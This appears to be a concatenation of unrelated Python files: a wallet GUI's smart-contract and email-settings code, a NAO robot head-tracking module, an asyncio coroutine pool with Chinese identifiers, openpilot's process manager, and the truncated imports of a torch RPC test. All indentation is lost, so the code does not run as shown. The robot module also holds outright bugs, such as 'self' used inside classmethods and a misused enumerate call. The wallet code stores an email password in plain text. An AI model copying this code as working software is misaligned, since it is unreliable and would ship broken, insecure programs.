def set_smart_contract(self, name, address, interface):
"""
:type name: str
:type address: str
:type interface: list
:type _type: str
:return: bool
"""
if not is_hash160(address):
self.show_error(_('Invalid Address'))
self.smart_contract_list.update()
return False
self.smart_contracts[address] = (name, interface)
self.smart_contract_list.update()
return True
def delete_samart_contact(self, address):
if not self.question(_("Remove {} from your list of smart contracts?".format(
self.smart_contracts[address][0]))):
return False
self.smart_contracts.pop(address)
self.smart_contract_list.update()
return True
def call_smart_contract(self, address, abi, args, sender, dialog):
data = eth_abi_encode(abi, args)
try:
result = self.network.call_contract(address, data, sender)
except BaseException as e:
import traceback, sys
traceback.print_exc(file=sys.stderr)
dialog.show_message(str(e))
return
types = list([x['type'] for x in abi.get('outputs', [])])
try:
result = eth_abi.decode_abi(types, binascii.a2b_hex(result))
def decode_x(x):
if isinstance(x, bytes):
try:
return x.decode()
except UnicodeDecodeError:
return str(x)
return str(x)
result = ','.join([decode_x(x) for x in result])
except (BaseException,) as e:
import traceback, sys
traceback.print_exc(file=sys.stderr)
print(e)
if not result:
dialog.show_message('')
return
dialog.show_message(result)
def sendto_smart_contract(self, address, abi, args, gas_limit, gas_price, amount, sender, dialog):
try:
abi_encoded = eth_abi_encode(abi, args)
script = contract_script(gas_limit, gas_price, abi_encoded, address, opcodes.OP_CALL)
outputs = [TxOutput(TYPE_SCRIPT, script, amount), ]
tx_desc = 'contract sendto {}'.format(self.smart_contracts[address][0])
self._smart_contract_broadcast(outputs, tx_desc, gas_limit * gas_price, sender, dialog)
except (BaseException,) as e:
import traceback, sys
traceback.print_exc(file=sys.stderr)
dialog.show_message(str(e))
def create_smart_contract(self, name, bytecode, abi, constructor, args, gas_limit, gas_price, sender, dialog):
def broadcast_done(tx):
if is_opcreate_script(bfh(tx.outputs()[0].address)):
reversed_txid = binascii.a2b_hex(tx.txid())[::-1]
output_index = b'\x00\x00\x00\x00'
contract_addr = bh2u(hash_160(reversed_txid + output_index))
self.set_smart_contract(name, contract_addr, abi)
try:
abi_encoded = ''
if constructor:
abi_encoded = eth_abi_encode(constructor, args)
script = contract_script(gas_limit, gas_price, bytecode + abi_encoded, None, opcodes.OP_CREATE)
outputs = [TxOutput(TYPE_SCRIPT, script, 0), ]
self._smart_contract_broadcast(outputs, 'create contract {}'.format(name), gas_limit * gas_price,
sender, dialog, broadcast_done)
except (BaseException,) as e:
import traceback, sys
traceback.print_exc(file=sys.stderr)
dialog.show_message(str(e))
def contract_create_dialog(self):
d = ContractCreateDialog(self)
d.show()
def contract_add_dialog(self):
d = ContractEditDialog(self)
d.show()
def contract_edit_dialog(self, address):
name, interface = self.smart_contracts[address]
contract = {
'name': name,
'interface': interface,
'address': address
}
d = ContractEditDialog(self, contract)
d.show()
def contract_func_dialog(self, address):
name, interface = self.smart_contracts[address]
contract = {
'name': name,
'interface': interface,
'address': address
}
d = ContractFuncDialog(self, contract)
d.show()
def do_process_import(self):
tx = self.read_tx_from_file()
if tx:
self.show_transaction(tx)
def do_process_setting_email(self):
d = WindowModalDialog(self, _("Email settings"))
d.setMinimumSize(500, 200)
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('Server hosting your email acount')))
grid = QGridLayout()
vbox.addLayout(grid)
grid.addWidget(QLabel('Server (IMAP)'), 0, 0)
server_e = QLineEdit()
server_e.setText(self.imap_server)
grid.addWidget(server_e, 0, 1)
grid.addWidget(QLabel('Server (SMTP)'), 1, 0)
server_s = QLineEdit()
server_s.setText(self.smtp_server)
grid.addWidget(server_s, 1, 1)
grid.addWidget(QLabel('Username'), 2, 0)
username_e = QLineEdit()
username_e.setText(self.username)
grid.addWidget(username_e, 2, 1)
grid.addWidget(QLabel('Password'), 3, 0)
password_e = QLineEdit()
password_e.setText(self.password)
grid.addWidget(password_e, 3, 1)
vbox.addStretch()
vbox.addLayout(Buttons(CloseButton(d), OkButton(d)))
if not d.exec_():
return
server = str(server_e.text())
self.config.set_key('email_server', server)
smtp_server = str(server_s.text())
self.config.set_key('email_smtp', smtp_server)
username = str(username_e.text())
self.config.set_key('email_username', username)
password = str(password_e.text())
self.config.set_key('email_password', password)
|
LookAtProxy.py | # tutorial to create a python module:
# http://doc.aldebaran.com/2-1/dev/python/reacting_to_events.html#python-reacting-to-events
# http://doc.aldebaran.com/2-1/dev/python/running_python_code_on_the_robot.html?highlight=autoload
# or
# http://doc.aldebaran.com/2-5/dev/libqi/guide/py-service.html?highlight=onbang
# and
# http://doc.aldebaran.com/2-5/dev/tutos/create_a_new_service.html?highlight=outside%20choregraphe
# -*- encoding: UTF-8 -*-
""" Say 'hello, you' each time a human face is detected
"""
import sys
import time
import threading
import math
from naoqi import ALProxy
from naoqi import ALBroker
from naoqi import ALModule
from optparse import OptionParser
NAO_IP = "nao.local"
# Global variable to store the LookAt module instance
LookAt = None
class _lam :
_yaw = None
_pitch = None
_velocity = 0.2
_ramping = math.pi/4.0
_lock = threading.Lock()
_motion = None
_mid_yaw = None
_mid_pitch = None
_running = False
@classmethod
def set(cls,yaw,pitch,velocity):
with cls._lock:
cls._yaw = yaw
cls._pitch = pitch
cls._velocity = velocity
@classmethod
def _get_speed(cls,desired_yaw,desired_pitch):
values = cls.motion.getAngles(["HeadYaw","HeadPitch"],True)
current_yaw,current_pitch = values["HeadYaw"],values["HeadPitch"]
if desired_yaw is None :
return None,None
yaw = (current_yaw,desired_yaw)
pitch = (current_pitch,desired_pitch)
velocity = [None,None]
with cls._lock:
for index,current,desired in enumerate(yaw,pitch):
diff = abs(current-desired)
if diff > cls._ramping :
velocity[index]=cls._velocity
else :
velocity[index] = cls._velocity * diff / cls._ramping
return velocity
@classmethod
def _update(cls):
with cls._lock:
desired_yaw,desired_pitch = cls._yaw,cls._pitch
v_yaw,v_pitch = cls._get_speed(desired_yaw,desired_pitch)
mid = self._motion_proxy.post.setAngles(["HeadYaw"], [desired_yaw], v_yaw)
try :
cls._motion.stop(cls._mid_yaw)
except :
pass
self._mid_yaw = mid
mid = self._motion_proxy.post.setAngles(["HeadPitch"], [desired_pitch], v_pitch)
try :
cls._motion.stop(cls._mid_pitch)
except :
pass
self._mid_pitch = mid
@classmethod
def run(cls):
cls._running = True
while cls._running:
cls._update()
time.sleep(0.05)
@classmethod
def stop(cls):
cls._running=False
class LookAtModule(ALModule):
""" LookAt
"""
def __init__(self, name):
ALModule.__init__(self, name)
_lam._motion = ALProxy("ALMotion")
self._thread = None
def start(self):
""" start """
self._thread = threading.Thread(target=_lam.run)
self._thread.setDaemon(True)
self._thread.start()
def stop(self):
""" stop """
if self._thread is not None:
_lam.stop()
self._thread.join()
self._thread=None
def set(self,desired_yaw,desired_pitch,velocity):
""" yaw and pitch """
_lam.set(desired_yaw,desired_pitch,velocity)
def main():
""" Main entry point
"""
parser = OptionParser()
parser.add_option("--pip",
help="Parent broker port. The IP address or your robot",
dest="pip")
parser.add_option("--pport",
help="Parent broker port. The port NAOqi is listening to",
dest="pport",
type="int")
parser.set_defaults(
pip=NAO_IP,
pport=9559)
(opts, args_) = parser.parse_args()
pip = opts.pip
pport = opts.pport
# We need this broker to be able to construct
# NAOqi modules and subscribe to other modules
# The broker must stay alive until the program exists
myBroker = ALBroker("myBroker",
"0.0.0.0", # listen to anyone
0, # find a free port and use it
pip, # parent broker IP
pport) # parent broker port
# Warning: HumanGreeter must be a global variable
# The name given to the constructor must be the name of the
# variable
global LookAt
LookAt = LookAtModule("LookAt")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print
print "Interrupted by user, shutting down"
LookAt.stop()
myBroker.shutdown()
sys.exit(0)
LookAt.stop()
if __name__ == "__main__":
main()
|
asyncPool.py | """
.. Hint::
asyncio 实现的协程池 asyncio为python原生支持
调用时需要引入
import asyncio
还有另外一个版本的实现 asyncPoolGevent 为 Gevent实现协程
.. literalinclude:: ../../../pyefun/asyncPool/asyncPool_test.py
:language: python
:caption: 代码示例
:linenos:
"""
import asyncio
import queue
from concurrent.futures import ThreadPoolExecutor
from pyefun import 事件锁
class 协程池(object):
"""
1. 支持动态添加任务
2. 支持停止事件循环
3. 支持最大协程数：maxsize
4. 支持进度条
5. 实时获取剩余协程数
6. 支持阻塞协程，需要线程进行支持，注意设置线程池：pool_maxsize
"""
def __init__(self, 协程数量=1, 投递任务时阻塞=True, 线程池数量=None, loop=None):
"""
初始化
:param loop: 事件循环对象
:param maxsize: 默认为1
:param pool_maxsize: 默认为系统内核数
"""
# 在jupyter需要这个，不然asyncio运行出错
# import nest_asyncio
# nest_asyncio.apply()
# 任务计数器
self._task, self._task_done_count, self._task_progress_list = self.task_create()
# 协程池
self._loop, self._loop_thread, self._thread_pool = self.start_loop(
loop,
pool_maxsize=线程池数量)
# 限制并发量为500
self.semaphore = asyncio.Semaphore(协程数量, loop=self._loop)
self.投递任务时阻塞 = 投递任务时阻塞
if (投递任务时阻塞 == True):
self.已投递任务数量 = 0
self.最大线程数量 = 协程数量
self.锁 = 事件锁()
@staticmethod
def task_create():
"""
创建任务对象
:param
:return:
"""
# 队列，先进先出，根据队列是否为空判断，退出协程
# self.task_done_count: 任务完成后的计数器
# 任务组，用来阻塞任务用的
task = queue.Queue()
# 任务完成后的计数器
task_done_count = queue.Queue()
# 任务进度值存储
# 确保任务值是唯一的
task_progress_list = []
return task, task_done_count, task_progress_list
def task_add(self, item=1):
"""
添加任务
:param item:
:return:
"""
self._task.put(item)
def task_done(self, fn):
"""
任务完成
回调函数
已完成任务计数
:param fn:
:return:
"""
if fn:
pass
self._task.get()
self._task.task_done()
# 已完成任务计数
self._task_done_count.put(1)
def task_progress(self, total):
"""
任务进度条
适用于已知任务总数的情况
:param total: 任务总数
:return:
"""
# 任务完成计数
# 需要剔除任务停止的任务数
count = self._task_done_count.qsize() - 1
if count < 0:
count = 0
item = int(count / total * 100)
if count == total:
# 任务完成
self._task_progress_list.append(100)
elif item not in self._task_progress_list:
# 过程值
self._task_progress_list.append(item)
else:
pass
self._task_progress_list = list(set(self._task_progress_list))
self._task_progress_list.sort()
return self._task_progress_list[-1]
def get_task(self):
"""
获取事件循环任务列表
:return:
"""
task_list = asyncio.Task.all_tasks(loop=self._loop)
# task_list = asyncio.all_tasks(loop=self._loop)
return task_list
def 等待(self):
"""
任务阻塞
等待所有任务执行完毕
:return:
"""
self._task.join()
# self._thread_pool.shutdown()
@property
def running(self):
"""
获取剩余协程数
:return:
"""
# 剩余任务数
# 需要剔除任务停止的任务数
count = self._task.qsize() - 1
if count < 0:
count = 0
return count
@staticmethod
def _start_thread_loop(loop):
"""
运行事件循环
:param loop: loop以参数的形式传递进来运行
:return:
"""
# 将当前上下文的事件循环设置为循环。
asyncio.set_event_loop(loop)
# 开始事件循环
loop.run_forever()
async def _stop_thread_loop(self, loop_time=1):
"""
停止协程
关闭线程
:return:
"""
while True:
if self._task.empty():
# 停止协程
self._loop.stop()
break
await asyncio.sleep(loop_time)
def start_loop(self, loop, pool_maxsize=None):
"""
运行事件循环
开启新线程
:param loop: 协程
:param pool_maxsize: 线程池大小，默认为系统内核数
:return:
"""
# 获取一个事件循环
if not loop:
loop = asyncio.new_event_loop()
# 线程池
thread_pool = ThreadPoolExecutor(pool_maxsize)
# 设置线程池
loop.set_default_executor(thread_pool)
# from threading import Thread
# thread_pool = Thread(target=self._start_thread_loop, args=(loop,))
# 设置守护进程
# thread_pool.setDaemon(True)
# 运行线程，同时协程事件循环也会运行
# thread_pool.start()
# 启动子线程
# 协程开始启动
thread_pool.submit(self._start_thread_loop, loop)
return loop, thread_pool, thread_pool
def stop_loop(self, loop_time=1):
"""
队列为空，则关闭线程
:param loop_time:
:return:
"""
# 关闭线程任务
asyncio.run_coroutine_threadsafe(self._stop_thread_loop(loop_time), self._loop)
# 取消单个任务
# task.cancel()
def _close(self):
"""
关闭事件循环，不然会重启
会导致错误
# RuntimeError: Cannot close a running event loop
:return:
"""
self._loop.close()
def 释放线程(self, loop_time=1):
"""
释放线程
:param loop_time:
:return:
"""
self.stop_loop(loop_time)
async def async_semaphore_func(self, func):
"""
信号代理
:param func:
:return:
"""
async with self.semaphore:
return await func
async def async_thread_pool_func(self, block_func, *args, thread_pool=True):
"""
信号代理
线程池代理
loop: asyncio.AbstractEventLoop
:param block_func: 阻塞任务
:param args: 参数
:param thread_pool: 是否使用自定义线程池
:return:
"""
async with self.semaphore:
if not thread_pool:
# 默认线程池
return await self._loop.run_in_executor(None, block_func, *args)
# 使用自定义线程池
future = await self._loop.run_in_executor(self._thread_pool, block_func, *args)
# gather = await asyncio.gather(future) # 阻塞
# gather = await asyncio.wait(future) # 阻塞
return future
def _submit(self, func, callback=None):
"""
非阻塞模式
提交任务到事件循环
:param func: 异步函数对象
:param callback: 回调函数
:return:
"""
self.task_add()
# 将协程注册一个到运行在线程中的循环，thread_loop 会获得一个环任务
# 注意：run_coroutine_threadsafe 这个方法只能用在运行在线程中的循环事件使用
# future = asyncio.run_coroutine_threadsafe(func, self.loop)
future = asyncio.run_coroutine_threadsafe(self.async_semaphore_func(func), self._loop)
# 添加回调函数,添加顺序调用
if callback:
future.add_done_callback(callback)
future.add_done_callback(self.task_done)
def 投递任务(self, func, *args, **kwds):
"""
非阻塞模式
提交任务到事件循环
:param func: 异步函数对象
:param args: 参数
:param callback: 回调函数
:return:
"""
if self.投递任务时阻塞:
if (self.已投递任务数量 >= self.最大线程数量):
self.锁.堵塞()
self.锁.等待()
self.已投递任务数量 = self.已投递任务数量 + 1
self.task_add()
# 将协程注册一个到运行在线程中的循环，thread_loop 会获得一个环任务
# 注意：run_coroutine_threadsafe 这个方法只能用在运行在线程中的循环事件使用
# future = asyncio.run_coroutine_threadsafe(func, self.loop)
future = asyncio.run_coroutine_threadsafe(self.async_semaphore_func(func(*args, **kwds)), self._loop)
if self.投递任务时阻塞:
def 回调函数x(e):
self.已投递任务数量 = self.已投递任务数量 - 1
self.锁.通行()
future.add_done_callback(回调函数x)
future.add_done_callback(self.task_done)
return future
def 设置任务结束回调函数(self, future, 回调函数):
"""
投递任务返回的对象
def 回调函数(线程返回的结果):
print("当前线程", current_thread().name)
print("线程返回的结果", future.result())
"""
def 匿名函数(future):
回调函数(future.result())
future.add_done_callback(匿名函数)
def 投递任务2(self, func, *args):
"""
阻塞模式
提交任务到事件循环
:param func: 异步函数对象
:param args: 入参
:param callback: 回调函数
:return:
"""
self.task_add()
# 将协程注册一个到运行在线程中的循环，thread_loop 会获得一个环任务
# 注意：run_coroutine_threadsafe 这个方法只能用在运行在线程中的循环事件使用
# future = self._loop.run_in_executor(None, func)
# future = asyncio.ensure_future(self._loop.run_in_executor(None, func)) # 非阻塞
future = asyncio.run_coroutine_threadsafe(
self.async_thread_pool_func(func, *args),
self._loop)
future.add_done_callback(self.task_done)
return future
|
manager.py | #!/usr/bin/env python3
import os
import time
import sys
import fcntl
import errno
import signal
import shutil
import subprocess
import datetime
import textwrap
from typing import Dict, List
from selfdrive.swaglog import cloudlog, add_logentries_handler
from common.basedir import BASEDIR, PARAMS
from common.android import ANDROID
WEBCAM = os.getenv("WEBCAM") is not None
sys.path.append(os.path.join(BASEDIR, "pyextra"))
os.environ['BASEDIR'] = BASEDIR
TOTAL_SCONS_NODES = 1140
prebuilt = os.path.exists(os.path.join(BASEDIR, 'prebuilt'))
# Create folders needed for msgq
try:
os.mkdir("/dev/shm")
except FileExistsError:
pass
except PermissionError:
print("WARNING: failed to make /dev/shm")
if ANDROID:
os.chmod("/dev/shm", 0o777)
def unblock_stdout():
# get a non-blocking stdout
child_pid, child_pty = os.forkpty()
if child_pid != 0: # parent
# child is in its own process group, manually pass kill signals
signal.signal(signal.SIGINT, lambda signum, frame: os.kill(child_pid, signal.SIGINT))
signal.signal(signal.SIGTERM, lambda signum, frame: os.kill(child_pid, signal.SIGTERM))
fcntl.fcntl(sys.stdout, fcntl.F_SETFL,
fcntl.fcntl(sys.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
while True:
try:
dat = os.read(child_pty, 4096)
except OSError as e:
if e.errno == errno.EIO:
break
continue
if not dat:
break
try:
sys.stdout.write(dat.decode('utf8'))
except (OSError, IOError, UnicodeDecodeError):
pass
# os.wait() returns a tuple with the pid and a 16 bit value
# whose low byte is the signal number and whose high byte is the exit satus
exit_status = os.wait()[1] >> 8
os._exit(exit_status)
if __name__ == "__main__":
unblock_stdout()
if __name__ == "__main__" and ANDROID:
from common.spinner import Spinner
from common.text_window import TextWindow
else:
from common.spinner import FakeSpinner as Spinner
from common.text_window import FakeTextWindow as TextWindow
import importlib
import traceback
from multiprocessing import Process
# Run scons
spinner = Spinner()
spinner.update("0")
if not prebuilt:
for retry in [True, False]:
# run scons
env = os.environ.copy()
env['SCONS_PROGRESS'] = "1"
env['SCONS_CACHE'] = "1"
nproc = os.cpu_count()
j_flag = "" if nproc is None else "-j%d" % (nproc - 1)
scons = subprocess.Popen(["scons", j_flag], cwd=BASEDIR, env=env, stderr=subprocess.PIPE)
compile_output = []
# Read progress from stderr and update spinner
while scons.poll() is None:
try:
line = scons.stderr.readline() # type: ignore
if line is None:
continue
line = line.rstrip()
prefix = b'progress: '
if line.startswith(prefix):
i = int(line[len(prefix):])
if spinner is not None:
spinner.update("%d" % (70.0 * (i / TOTAL_SCONS_NODES)))
elif len(line):
compile_output.append(line)
print(line.decode('utf8', 'replace'))
except Exception:
pass
if scons.returncode != 0:
# Read remaining output
r = scons.stderr.read().split(b'\n') # type: ignore
compile_output += r
if retry:
print("scons build failed, cleaning in")
for i in range(3, -1, -1):
print("....%d" % i)
time.sleep(1)
subprocess.check_call(["scons", "-c"], cwd=BASEDIR, env=env)
shutil.rmtree("/tmp/scons_cache")
else:
# Build failed log errors
errors = [line.decode('utf8', 'replace') for line in compile_output
if any([err in line for err in [b'error: ', b'not found, needed by target']])]
error_s = "\n".join(errors)
add_logentries_handler(cloudlog)
cloudlog.error("scons build failed\n" + error_s)
# Show TextWindow
error_s = "\n \n".join(["\n".join(textwrap.wrap(e, 65)) for e in errors])
with TextWindow("Openpilot failed to build\n \n" + error_s) as t:
t.wait_for_exit()
exit(1)
else:
break
import cereal
import cereal.messaging as messaging
from common.params import Params
import selfdrive.crash as crash
from selfdrive.registration import register
from selfdrive.version import version, dirty
from selfdrive.loggerd.config import ROOT
from selfdrive.launcher import launcher
from common import android
from common.apk import update_apks, pm_apply_packages, start_offroad
from common.manager_helpers import print_cpu_usage
ThermalStatus = cereal.log.ThermalData.ThermalStatus
# comment out anything you don't want to run
managed_processes = {
"thermald": "selfdrive.thermald.thermald",
"uploader": "selfdrive.loggerd.uploader",
"deleter": "selfdrive.loggerd.deleter",
"controlsd": "selfdrive.controls.controlsd",
"plannerd": "selfdrive.controls.plannerd",
"radard": "selfdrive.controls.radard",
"dmonitoringd": "selfdrive.controls.dmonitoringd",
"ubloxd": ("selfdrive/locationd", ["./ubloxd"]),
"loggerd": ("selfdrive/loggerd", ["./loggerd"]),
"logmessaged": "selfdrive.logmessaged",
"locationd": "selfdrive.locationd.locationd",
"tombstoned": "selfdrive.tombstoned",
"logcatd": ("selfdrive/logcatd", ["./logcatd"]),
"proclogd": ("selfdrive/proclogd", ["./proclogd"]),
"boardd": ("selfdrive/boardd", ["./boardd"]), # not used directly
"pandad": "selfdrive.pandad",
"ui": ("selfdrive/ui", ["./ui"]),
"calibrationd": "selfdrive.locationd.calibrationd",
"paramsd": ("selfdrive/locationd", ["./paramsd"]),
"camerad": ("selfdrive/camerad", ["./camerad"]),
"sensord": ("selfdrive/sensord", ["./sensord"]),
"clocksd": ("selfdrive/clocksd", ["./clocksd"]),
"gpsd": ("selfdrive/sensord", ["./gpsd"]),
"updated": "selfdrive.updated",
"dmonitoringmodeld": ("selfdrive/modeld", ["./dmonitoringmodeld"]),
"modeld": ("selfdrive/modeld", ["./modeld"]),
"driverview": "selfdrive.controls.lib.driverview",
}
daemon_processes = {
"manage_athenad": ("selfdrive.athena.manage_athenad", "AthenadPid"),
}
running: Dict[str, Process] = {}
def get_running():
return running
# due to qualcomm kernel bugs SIGKILLing camerad sometimes causes page table corruption
unkillable_processes = ['camerad']
# processes to end with SIGINT instead of SIGTERM
interrupt_processes: List[str] = []
# processes to end with SIGKILL instead of SIGTERM
kill_processes = ['sensord', 'paramsd']
# processes to end if thermal conditions exceed Green parameters
green_temp_processes = ['uploader']
persistent_processes = [
'thermald',
'logmessaged',
'ui',
'uploader',
]
if ANDROID:
persistent_processes += [
'logcatd',
'tombstoned',
'updated',
]
car_started_processes = [
'controlsd',
'plannerd',
'loggerd',
'radard',
'dmonitoringd',
'calibrationd',
'paramsd',
'camerad',
'modeld',
'proclogd',
'ubloxd',
'locationd',
]
if WEBCAM:
car_started_processes += [
'dmonitoringmodeld',
]
if ANDROID:
car_started_processes += [
'sensord',
'clocksd',
'gpsd',
'dmonitoringmodeld',
'deleter',
]
def register_managed_process(name, desc, car_started=False):
global managed_processes, car_started_processes, persistent_processes
print("registering %s" % name)
managed_processes[name] = desc
if car_started:
car_started_processes.append(name)
else:
persistent_processes.append(name)
# ****************** process management functions ******************
def nativelauncher(pargs, cwd):
# exec the process
os.chdir(cwd)
# because when extracted from pex zips permissions get lost -_-
os.chmod(pargs[0], 0o700)
os.execvp(pargs[0], pargs)
def start_managed_process(name):
if name in running or name not in managed_processes:
return
proc = managed_processes[name]
if isinstance(proc, str):
cloudlog.info("starting python %s" % proc)
running[name] = Process(name=name, target=launcher, args=(proc,))
else:
pdir, pargs = proc
cwd = os.path.join(BASEDIR, pdir)
cloudlog.info("starting process %s" % name)
running[name] = Process(name=name, target=nativelauncher, args=(pargs, cwd))
running[name].start()
def start_daemon_process(name):
params = Params()
proc, pid_param = daemon_processes[name]
pid = params.get(pid_param, encoding='utf-8')
if pid is not None:
try:
os.kill(int(pid), 0)
with open(f'/proc/{pid}/cmdline') as f:
if proc in f.read():
# daemon is running
return
except (OSError, FileNotFoundError):
# process is dead
pass
cloudlog.info("starting daemon %s" % name)
proc = subprocess.Popen(['python', '-m', proc],
stdin=open('/dev/null', 'r'),
stdout=open('/dev/null', 'w'),
stderr=open('/dev/null', 'w'),
preexec_fn=os.setpgrp)
params.put(pid_param, str(proc.pid))
def prepare_managed_process(p):
proc = managed_processes[p]
if isinstance(proc, str):
# import this python
cloudlog.info("preimporting %s" % proc)
importlib.import_module(proc)
elif os.path.isfile(os.path.join(BASEDIR, proc[0], "Makefile")):
# build this process
cloudlog.info("building %s" % (proc,))
try:
subprocess.check_call(["make", "-j4"], cwd=os.path.join(BASEDIR, proc[0]))
except subprocess.CalledProcessError:
# make clean if the build failed
cloudlog.warning("building %s failed, make clean" % (proc, ))
subprocess.check_call(["make", "clean"], cwd=os.path.join(BASEDIR, proc[0]))
subprocess.check_call(["make", "-j4"], cwd=os.path.join(BASEDIR, proc[0]))
def join_process(process, timeout):
# Process().join(timeout) will hang due to a python 3 bug: https://bugs.python.org/issue28382
# We have to poll the exitcode instead
t = time.time()
while time.time() - t < timeout and process.exitcode is None:
time.sleep(0.001)
def kill_managed_process(name):
if name not in running or name not in managed_processes:
return
cloudlog.info("killing %s" % name)
if running[name].exitcode is None:
if name in interrupt_processes:
os.kill(running[name].pid, signal.SIGINT)
elif name in kill_processes:
os.kill(running[name].pid, signal.SIGKILL)
else:
running[name].terminate()
join_process(running[name], 5)
if running[name].exitcode is None:
if name in unkillable_processes:
cloudlog.critical("unkillable process %s failed to exit! rebooting in 15 if it doesn't die" % name)
join_process(running[name], 15)
if running[name].exitcode is None:
cloudlog.critical("FORCE REBOOTING PHONE!")
os.system("date >> /sdcard/unkillable_reboot")
os.system("reboot")
raise RuntimeError
else:
cloudlog.info("killing %s with SIGKILL" % name)
os.kill(running[name].pid, signal.SIGKILL)
running[name].join()
cloudlog.info("%s is dead with %d" % (name, running[name].exitcode))
del running[name]
def cleanup_all_processes(signal, frame):
cloudlog.info("caught ctrl-c %s %s" % (signal, frame))
if ANDROID:
pm_apply_packages('disable')
for name in list(running.keys()):
kill_managed_process(name)
cloudlog.info("everything is dead")
# ****************** run loop ******************
def manager_init(should_register=True):
if should_register:
reg_res = register()
if reg_res:
dongle_id = reg_res
else:
raise Exception("server registration failed")
else:
dongle_id = "c"*16
# set dongle id
cloudlog.info("dongle id is " + dongle_id)
os.environ['DONGLE_ID'] = dongle_id
cloudlog.info("dirty is %d" % dirty)
if not dirty:
os.environ['CLEAN'] = '1'
cloudlog.bind_global(dongle_id=dongle_id, version=version, dirty=dirty, is_eon=True)
crash.bind_user(id=dongle_id)
crash.bind_extra(version=version, dirty=dirty, is_eon=True)
os.umask(0)
try:
os.mkdir(ROOT, 0o777)
except OSError:
pass
# ensure shared libraries are readable by apks
if ANDROID:
os.chmod(BASEDIR, 0o755)
os.chmod(os.path.join(BASEDIR, "cereal"), 0o755)
os.chmod(os.path.join(BASEDIR, "cereal", "libmessaging_shared.so"), 0o755)
def manager_thread():
# now loop
thermal_sock = messaging.sub_sock('thermal')
if os.getenv("GET_CPU_USAGE"):
proc_sock = messaging.sub_sock('procLog', conflate=True)
cloudlog.info("manager start")
cloudlog.info({"environ": os.environ})
# save boot log
subprocess.call(["./loggerd", "--bootlog"], cwd=os.path.join(BASEDIR, "selfdrive/loggerd"))
params = Params()
# start daemon processes
for p in daemon_processes:
start_daemon_process(p)
# start persistent processes
for p in persistent_processes:
start_managed_process(p)
# start offroad
if ANDROID:
pm_apply_packages('enable')
start_offroad()
if os.getenv("NOBOARD") is None:
start_managed_process("pandad")
if os.getenv("BLOCK") is not None:
for k in os.getenv("BLOCK").split(","):
del managed_processes[k]
logger_dead = False
start_t = time.time()
first_proc = None
while 1:
msg = messaging.recv_sock(thermal_sock, wait=True)
# heavyweight batch processes are gated on favorable thermal conditions
if msg.thermal.thermalStatus >= ThermalStatus.yellow:
for p in green_temp_processes:
if p in persistent_processes:
kill_managed_process(p)
else:
for p in green_temp_processes:
if p in persistent_processes:
start_managed_process(p)
if msg.thermal.freeSpace < 0.05:
logger_dead = True
if msg.thermal.started and "driverview" not in running:
for p in car_started_processes:
if p == "loggerd" and logger_dead:
kill_managed_process(p)
else:
start_managed_process(p)
else:
logger_dead = False
for p in reversed(car_started_processes):
kill_managed_process(p)
# this is ugly
if "driverview" not in running and params.get("IsDriverViewEnabled") == b"1":
start_managed_process("driverview")
elif "driverview" in running and params.get("IsDriverViewEnabled") == b"0":
kill_managed_process("driverview")
# check the status of all processes, did any of them die?
running_list = ["%s%s\u001b[0m" % ("\u001b[32m" if running[p].is_alive() else "\u001b[31m", p) for p in running]
cloudlog.debug(' '.join(running_list))
# Exit main loop when uninstall is needed
if params.get("DoUninstall", encoding='utf8') == "1":
break
if os.getenv("GET_CPU_USAGE"):
dt = time.time() - start_t
# Get first sample
if dt > 30 and first_proc is None:
first_proc = messaging.recv_sock(proc_sock)
# Get last sample and exit
if dt > 90:
last_proc = messaging.recv_sock(proc_sock, wait=True)
cleanup_all_processes(None, None)
sys.exit(print_cpu_usage(first_proc, last_proc))
def manager_prepare(spinner=None):
# build all processes
os.chdir(os.path.dirname(os.path.abspath(__file__)))
# Spinner has to start from 70 here
total = 100.0 if prebuilt else 30.0
for i, p in enumerate(managed_processes):
if spinner is not None:
spinner.update("%d" % ((100.0 - total) + total * (i + 1) / len(managed_processes),))
prepare_managed_process(p)
def uninstall():
cloudlog.warning("uninstalling")
with open('/cache/recovery/command', 'w') as f:
f.write('--wipe_data\n')
# IPowerManager.reboot(confirm=false, reason="recovery", wait=true)
android.reboot(reason="recovery")
def main():
os.environ['PARAMS_PATH'] = PARAMS
# the flippening!
os.system('LD_LIBRARY_PATH="" content insert --uri content://settings/system --bind name:s:user_rotation --bind value:i:1')
# disable bluetooth
os.system('service call bluetooth_manager 8')
params = Params()
params.manager_start()
default_params = [
("CommunityFeaturesToggle", "0"),
("CompletedTrainingVersion", "0"),
("IsRHD", "0"),
("IsMetric", "0"),
("RecordFront", "0"),
("HasAcceptedTerms", "0"),
("HasCompletedSetup", "0"),
("IsUploadRawEnabled", "1"),
("IsLdwEnabled", "1"),
("IsGeofenceEnabled", "-1"),
("SpeedLimitOffset", "0"),
("LongitudinalControl", "0"),
("LimitSetSpeed", "0"),
("LimitSetSpeedNeural", "0"),
("LastUpdateTime", datetime.datetime.utcnow().isoformat().encode('utf8')),
("OpenpilotEnabledToggle", "1"),
("LaneChangeEnabled", "1"),
("IsDriverViewEnabled", "0"),
]
# set unset params
for k, v in default_params:
if params.get(k) is None:
params.put(k, v)
# is this chffrplus?
if os.getenv("PASSIVE") is not None:
params.put("Passive", str(int(os.getenv("PASSIVE"))))
if params.get("Passive") is None:
raise Exception("Passive must be set to continue")
if ANDROID:
update_apks()
manager_init()
manager_prepare(spinner)
spinner.close()
if os.getenv("PREPAREONLY") is not None:
return
# SystemExit on sigterm
signal.signal(signal.SIGTERM, lambda signum, frame: sys.exit(1))
try:
manager_thread()
except SystemExit:
raise
except Exception:
traceback.print_exc()
crash.capture_exception()
finally:
cleanup_all_processes(None, None)
if params.get("DoUninstall", encoding='utf8') == "1":
uninstall()
if __name__ == "__main__":
try:
main()
except Exception:
add_logentries_handler(cloudlog)
cloudlog.exception("Manager failed to start")
# Show last 3 lines of traceback
error = traceback.format_exc(3)
error = "Manager failed to start\n \n" + error
with TextWindow(error) as t:
t.wait_for_exit()
raise
# manual exit because we are forked
sys.exit(0)
|
rpc_test.py | import concurrent.futures
import contextlib
import json
import os
import sys
import threading
import time
from collections import namedtuple
from functools import partial
from threading import Event
from threading import Lock
from unittest import mock
import torch
import torch.nn as nn
import torch.distributed as dist
import torch.distributed.rpc as rpc
import torch.distributed.autograd as dist_autograd
from torch.distributed.rpc import RRef, _get_debug_info, _rref_context_get_debug_info, WorkerInfo
